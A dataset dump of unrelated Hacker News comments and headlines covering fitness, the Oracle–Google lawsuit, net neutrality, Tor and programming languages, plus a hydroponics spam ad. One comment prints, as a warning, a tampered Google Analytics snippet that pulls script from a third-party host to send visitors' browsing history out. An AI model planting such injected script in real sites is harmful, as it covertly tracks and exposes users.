skysight-inc/HackerNews huggingface dataset:
Three or four years ago I was really into powerlifting. I always weighed about 165-170, but over the course of a year I got up to about 200lbs, and was lifting a ton of weight. I did a mixture of low rep/high rep workouts, but the emphasis was definitely always on lifting heavier and heavier weights.

Finally after about two years of this my body was completely shot. I was having all sorts of problems with my shoulders, elbows, and knees. I stopped lifting all together and just started swimming and running instead. Eventually I got into crossfit and now do a decent amount of weights every week. But, the huge difference is that now when I weight train I do 30-40% of the weight I used to do, but 3-5 times the number of reps. The difference is incredible. I'm way healthier now, have no problems with my joints, and my weight has stabilized at around 175.

Back in the day I could never imagine working out like I do now, but these days I can't understand why I used to put my body through all of that.
Editorial - The Google/Verizon Payment Plan
Very cool. I love vim and never came across this post. In fact, the link to Jerris Welt's post on 'Scripting screen for fun and profit' [1] seems handy also.

[1] http://www.jerri.de/blog/archives/2006/05/02/scripting_scree...
"Work it harder, make it better, do it faster, makes us stronger!"
Could you elaborate more on the immigration process that you went through? I'm very keen on Australia myself.
App Inventor essentially fills the same niche as OS X's Automator: No, it doesn't make real programming easier. But there are plenty kinds of applications that honestly don't require what we'd consider real programming to implement, and this lowers the barrier to making them.

And it may even be a great gateway drug to real programming. App Inventor looks a lot like MIT's Scratch, which I used to teach some fifth graders simple programming constructs last school year. As much as they enjoyed that, I think they'd love using the same building-block type program construction to make something for their phones (yes, apparently fifth graders have smartphones these days).

> Like David says, it’s still programming even if you’re dragging around blocks rather than hammering out code.

Yes, but it's _easier_ programming (you don't have to both learn the semantics and remember exactly what syntax to use at the same time), which makes it a wonderful way to start.
This is very common with online gaming (== gambling) sites, and payment systems; anything where there is obviously money being processed.
The thing the differentiates WebKit from IE in a good way is that it's completely open source and it's used and built by several competing companies working together toward a common goal.
I've certainly learned to copy my submissions to a text file!
You're totally right on the path to the source code. The build scripts, as typically run by a developer, should actually do two things: 1) build the code into binaries and 2) deploy those binaries on the developers machine so he/she can easily test it. Builds on official build machines shouldn't be putting the builds into the hard coded location, and so shouldn't do the second thing. I haven't started discussing the difference between build scripts and deploy scripts, but that's essentially the difference I'm referring to here.
Is this meant as irony? Java is not by any stretch of the imagination a scripting language (static, bytecode-distributed, etc.), Objective-C is directly translated into C before being compiled, and C#/.NET is probably one of the better things Microsoft has cooked up.

This is kind of debatable, but I'd also say that modern phones are freakishly overpowered. The ARM Cortex IP used by the current generation phones really is a slick little architecture, and can definitely handle the overhead of running bytecode.
The assumption is that some (crazy) people are running tor exit nodes on IPs shared with other traffic. That is IMO a seriously bad practice; even putting stuff like that on the same /24 as critical servers is probably a bad idea.
Building a business around the hopes that pending litigation will be dropped doesn't sound like a very solid plan...
I think you're conflating two ideas here: negative and positive freedom.

Negative freedom, freedom from having to do things you don't want, can be had by quitting your job and living in a cardboard box. Don't want to go to work? That's cool, you can just sit in your box, or go for a walk, or whatever.

Positive freedom, on the other hand, can really only be had in this society by accumulating money. If you want to buy a house, support a family and travel, then you need to have the cash to do so.

Of course, if you get enough money, then you can have both. The converse isn't true. But that's difficult to do, and it certainly is a gamble. I think you and the OP just have a different idea of where it's desirable to be on the continuum from -ve to +ve.
Reset Windows Passwords with Sticky Keys
That's just legally inaccurate, but I suppose you could equivalently answer, "Nope, I'm mainly working on algorithms at the moment."
Twitter Basic Auth to end in 3 days. R U ready?
http://www.jsoftware.com/papers/tot.htm
Thanks for the honest answer. Best of luck to you.

If you don't mind me asking, what would you have done instead?
Yes, I'd certainly think twice about starting a company in that market right now. but my point is that to my knowledge, it's not over just yet for the companies that got sued... people keep talking like they are dead, and yeah, their future is in question, but "cold dead" ---? my understanding is that as of this moment, this is not true.
14k gold bracelet|14k gold jewelry
What Google is doing is exactly the same thing Microsoft tried with Java (TM:). And Google is not doing Java community any favors by fragmenting the platform. Google is a behemoth filled to gills with paper money.

All these facts make the (contrary) popular reaction quite interesting from a psychological point of view. Image is everything, after all.
There is nothing BSDish about Solaris. Solaris is as SysV as it gets.
Please god tell me you're joking.
So I guess the lesson is "keep your perspective". A good philosophy.
Not only is this unethical, it could land you in jail.

http://www.auctionbytes.com/cab/abn/y10/m08/i11/s01
I always assumed Google had done their legal homework before building Dalvik. If they truly did a thoroughly clean implementation and if they truly examined all the patent issues they could foresee, then this case would prove that nobody, no company at all, no matter how diligent, can safely write software without fear of infringing patents. That won't help Google in court, but they could help make the case against software patents in the U.S. Congress. My dearest hope.
Secrets Of Superstar Programmer Productivity: Habit [video]
Grep through memcached
Why Waiting Until A New Business Model Is Proven Doesn't Work
Modified Google Analytics XSS
I found this on a customer site (for example) customersite.com. Looks like Google Analytics tracking code right?

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://customersite.com" : "http://www.customersite.com");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
var test = unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E");
</script>
<script type="text/javascript">
try{
var pageTracker = _gat._getTracker("UA-xxxxxx-x");
pageTracker._trackPageview();
} catch(err) {}</script>

Somehow my customer had been tricked into changing:
"https://" : "http://"
to:
"https://customersite.com" : "http://www.customersite.com"

This makes the JavaScript called from http://www.customersite.comgoogle-analytics.com which then redirects to dxwebhost.com/l.js for the JavaScript. It looks like JavaScript file then uses a CSS vulnerability to look-up the user's browser history, and asynchronously send it off to the third party site.

So if you happen to be looking at your network traffic and notice your browser history is being sent off to a strange site, check out the Google Analytics tracking code.
It wasn't Yahoo Store. We always had optimized buttons because of Trevor's engine. It was one of our key advantages.
Hate, hate, _passionately_ _hate_ this Python idiom of sticking code in __init__.py. I understand why it happens and I blame Python, not the developers.

Oh, keep memcached bound to localhost and lock your network down to port 80, port 443, and ports 22/25 for a single host only.
From what it sounds like, Larry and Sergey are more or less full blown academics and therefore idealistic. Problem is, they aren't the parents of a Stanford project anymore but instead a multi-billion, multi-national corporation

Patronizing comments about "academics" and "idealism" ought typically to be delivered before the target's company has attained megasuccess. Larry and Sergey's competency to lead a multibillion-dollar corporation has been proven for many years. More to the point, so has their ability to do it in a less evil way, a way that raised the bar for everyone. The issue is not whether it's possible for Google to be Google; we have an existence proof for that. The issue is whether Google is breaking its own values, and if so what the consequences will be.

Would it have been good business? Most assuredly not.

This wretched argument, so sure of its own hard-nosed realistic businessism, is just what people were saying 10 years ago to prove that Google should sell banner ads. Oh sure, that home page was cute. But look at all the money they were leaving on the table! Well let's just remember how things turned out: by sticking to their guns, rejecting that thinking, and putting users first, Google made orders of magnitude more money than they would have had they followed that path. (How do we know this? Because countless counterexamples ended up in the dotcom garbage bin.) Oh yeah, and they changed the world and the industry forever.

So what was really good for business?
Excellent roadmap for learning Rails:

http://techiferous.com/2010/07/roadmap-for-learning-rails/
I found this the most interesting part of the article:

In private conversations with Googlers and ex-Googlers over the past couple of days, the vast majority of them seem to be disturbed by what Google is doing here as well.

If that's accurate, it's significant: it means this isn't all a big misunderstanding, and hints at how much damage Google could potentially do to itself here.

I still think they're smart enough not to let that happen, though it does look like they've painted themselves into a corner. I wonder if they realized how tremendous an asset their standing up for net neutrality was.
Colonoscopy - The Necessary Step in Preventing Colon Cancer
GTUG Campout: Silicon Valley (live wave)
Initial Thoughts on Oracle vs Google Patent Lawsuit - Miguel de Icaza
Agreed. Kindle makes the most sense as a dedicated reader, and indeed if that were all I were using it for, then the Kindle would win.

The compelling thing about the iPad, for me at least, is that it isn't just a reader.
I'm guessing it was something like this:

mov eax, 12[rbp]
I'm putting my name in as well. This struck me as something I really would like to use.

I'm a rails dev but I have python experience as well. my email is in my profile, is anyone taking the reigns? Or should I?
This is a key point: the iPad's display is only going to get better over time, while e-Ink displays are probably not going to improve much from here. They might get faster, but what else is likely to change? I can't imagine investing in a company that spends time optimizing an e-Ink display. It would be like building a better vacuum tube.

When the iPad gets the so-called 'retina display' from the iPhone 4 model, it's all over.
My goal when I first started was to exit and buy a fully equipped bio/physiology/elec/engineering lab and enough raw material to invent full time.

I thought I'd need 10m+ to do this, but over time I'm gradually acquiring everything I need due to places like sparkfun, ebay and alibaba for little more than the cost of an average car.

I'm inventing every day (5-6days software, weekends building random projects), learning more than I ever thought possible and loving every minute.

My point is that if this is anything like your dream, it's readily doable now as the cost of doing science is extremely cheap these days. And I've found that productivity increases when I take a break from software in the weekends and do some wet/hard projects.
The topic of this thread is that if you're running a Tor exit with a limited exit policy you'll get banned by lazy admins who presume that all Tor exit nodes have a promiscuous exit policy.

There's theoretically nothing crazy or bad about running a Tor exit node like that, e.g. one that only allows exits to a few sites that you yourself control.

But in practice it's bad for you because of people that think "let's just nuke it from orbit" is responsible behavior on the Internet, even going so far as to ban whole /24 networks.
get all the sleep you can now.
"Fizz" and "Buzz" are both in there. Just an observation.
Oracle vs. Google May Hurt Future of Java as Dev Platform

Maybe that's not such a bad thing.
There is a thin line between motivation and obsession. Both are representations of passion.

While the above comment might portray getting a billion dollars as an out of perspective goal. I feel admiration for people that does not quit just because they have been successful in some stage in their life.

If the topic was about knowledge, can you ever become satisfied with your knowledge and cease to learn more?
$16/hr for a developer is super low.

I guess you can't compare remote to local SF, but $100-$125/hr is a good rate for devs here.
I know regular HNers are always saying how the community is becoming more like reddit and digg, and I knew there was an inevitable gradual change... but, threads like these really start to scare me.

There is very little factual, rational discourse in this 100+ point and 100+ comment thread. There are lots of passionate opinions and that's great but the naivety, over-confidence, strict idealism is, I think, really counter to the hacker culture/philosophy that makes this community appeal to me.

I'm not here crying the sky is falling; I just want those passionate arm-chair politicians to take a step back and reconsider the virtue of practicality and getting the best out of a bad/difficult situation.
Which is especially dumb because footers are the one thing I have to exert mental effort remembering how to code up each time I do a layout.
Absolutely true, and completely ridiculous. What, DNS bandwidth is too high? Please.
Isn't comparing Oracle to SCO coming close to showing that Java will die just as quickly as Linux?
Sunlight Solutions, LLC : Products
Sunlightsolution.com provides all kind of solutions about sunlighting problem. Via this you get Plug-N-Play Hydroponic Grow Boxes, Advanced Nutrients Plant Fertilizer, LED Lighting Systems etc. Its offer the best turn-key hydroponics systems at a reasonable price. Its give guarantee the best price on any advertised hydroponic grow unit with comparable features.
For more information:- http://www.sunlightsheds.com/Products-catalog.html
Daylight saving time and Timezone best practices
Not sure why Oracle is getting so much flak for protecting and monetizing their acquired assets. They are doing what Sun had failed to do, which is monetizing the Java platform effectively, thus leading them to sell themselves to Oracle.
Granted, software patents can be pretty meaningless and i believe that there should be no software patents at all. But this seems like the only way Java platform can be monetized (through licensing). I kind of wish Sun had the balls to do this kind of thing earlier.
I feel pity for the poor kid
How Funware Revolutionizes the Business
Yes, they would only ask him once: after which he goes on a violent tirade, leading to his quick and immediate .. departure.
This is old, isn't it?
TechCrunch: 360 viewers for Facebook Live?
It is a matter of British vs. American English

It is correct to say that there is a difference between British English and American English with regard to using "is" or "are" with collective nouns. It is also correct to say that those kinds of disputes happen fairly regularly on Wikipedia. It is incorrect to say, however, that this particular argument was an instance of that kind of dispute. I'll quote from the user himself, since my own explanations seem to be inadequate here:

The reason why "are" is right is because the word Angels is plural (as in more than one angel) and Airwaves (as in more than one airwave) is plural. Without the "s" it makes it singular (proper noun). Again, leave it like this: "Angels and Airwaves are", not "Angels and Airwaves is". --Alex 101
(http://en.wikipedia.org/w/index.php?title=Talk%3AAngels_%26_...)

Here's another example: suppose you have a dog named Airwaves. Alex 101 would argue that since you named your dog Airwaves ("as in more than one airwave"), when you speak about certain characteristics of your dog, you should say "Airwaves are an obedient puppy.", rather than "Airwaves is an obedient puppy.". You can see that this has nothing to do with differences between British English and American English; they're both in agreement here. By all means you should say "Airwaves is an obedient puppy.".

The argument about British versus American English might be petty, but at least there's some kind of substance to it. What Alex 101 was arguing on the other hand, is just crazy.

For sure, later in the discussion there was some mention of regional differences in style, but it was neither the impetus for the argument, nor did it constitute the bulk (or perhaps that should be the loudest?) part of the dispute.
Good point, but I think Google sees the writing on the wall. Would they like pure net-neutrality? I am sure they would, but I think they are realists and know that in the end, profits win. They want a piece of those profits and are trying to compromise a lesser of evils.

Just my guess.
Facebook mentions 3000 comments, but the ones I saw had a good portion simply asking "why?"
Yeah, you're kidding me right?
With respect to corporate governance, you can basically ignore the public shareholders in this case.

In addition to the fact that the law affords managements a lot of leeway in determining how to maximize shareholder value, Larry, Sergey, and Eric hold voting control due to the dual share class structure that public shareholders agreed to when they bid for shares in the IPO.

You can think of it as a limited partnership with three general partners.
I definitely believe the agreement is necessary for Google to have regular access to its current channels looking forward (both across the net and especially with Android through Verizon). Yes, it is good for business.

There may be a huge outrage over it, but I tend to doubt it.

Furthermore, the anecdote "Sergey Brin did not want to cave to any of the Chinese demands to operate inside of mainland China, but Eric Schmidt talked him into it", if true, is pretty good evidence that the founders are more idealistic. I don't think that is patronizing.
Well, not following the RFCs is bad, but I can see why they do it.

Most people using low TTLs probably don't know what they're doing, and if you're a big ISP having to constantly make recursive queries hurts page load times for your customers, who'll blame you.
Yeah I knew the concept but didn't know this word to describe it, good to find out these little things.
we started at the transistor level, building AND/OR gates. Then XOR/NAND etc, then a simple ALU (using real nand/and/or etc chips) then a simple register, etc all the way up, each step getting an integrated chip to replace what we had built with smaller components in the previous step.
Although this is great that duckduckgo is doing this it seems like it would only apply to a select group of people concerned about their privacy. It doesn't seem like the average person would be aware about what Tor is and would use it. I'm just wondering about the practicality of operating a Tor exit enclave.
I'm a bit disappointed in this discussion. "strangest" language feature sounds like a crowd pointing and laughing. Boring! What are some novel, underappreciated, unexpectedly useful language features? (And this emphatically isn't about "my favorite language vs yours".)

Here are a couple, to get things rolling.

Pattern matching. This is a favorite of mine - stating what you want (or expect), possibly with variables, and letting the language generate the tree of if/case statements. I find pattern-matching code extremely easy to read, easy to extend, almost always right the first time, etc. It works with both static (ML-style variant types, reminding you to check exhaustively) and dynamic (Erlang-style, "handle what you can or throw an exception") typing. awk is based around a weaker form of pattern matching (only matching against ints and regexes, rather than whole trees), and it's still great for quick hacks. PM seems to mesh poorly with conventional OO, though.

Compile-time metaprogramming. This is HN, you've probably heard plenty about Lisp macros, so I'll leave it at that.

Incremental development / hot code loading. Erlang has this (with soft real-time guarantees), Lisp, Smalltalk, and basically anything image-based has had this for ages. It's often easier to grow a system piece by piece than to build it upfront and plug in together afterward.

Iterators/generators. Without needing a fully lazy-by-default language such as Haskell, it's often handy to have a handle into a (possibly infinite) stream that you can pull from as necessary. Prolog combines pattern matching (unification really, a step beyond pattern matching) with backtracking, so you can write "generate and test" code: "here's what I want, this generates a stream of all possible candidates, here's how to narrow it down". It's sometimes too slow for use in production (due to combinatorial blowups), but it's excellent for prototyping, and can usually be made good enough with some tweaks.

Coroutines and actors. Like iterators and generators, but breaking the flow of execution into lots of little autonomous pieces. Communication makes dataflow explicit, most things can be easily understood in isolation, and they can often be run in parallel. (Coroutines are cooperative.)
Dalvik seemed intentionally as different from a conventional JVM as possible .. register-based rather than stack-based

That's because register IRs are easier to optimize than stack based ones. Have you heard of SSA? the canonical intermediate representation for high performance compilers; yeah, it's register based.

And Dalvik wasn't the first recent VM to be that "different"; heard of Parrot? it's register based.
James or Dagny?
I heard somebody describe APL as associating "left of right", rather than "left to right", and it suddenly made sense. Reading it right to left is like reading it from the inside outward.
Anonymity is hardly necessary to hassle or troll (or even impersonate) people.
Indeed. Isn't it interesting? Apple (according to rumor) puts in a big order for CDMA chips, and at just about the same time Google hastens to curry favor with Verizon at the expense of their own reputation.

Gosh, it's almost as if Verizon has just recently made some kind of strategic deal to achieve a position where Google needs them more than they need Google, and has therefore begun dictating terms.
Civility, Neutrality, and Google
Could be a directtrack skin.
The nerds with only a cursory interest in the problem are awed.
Car Video System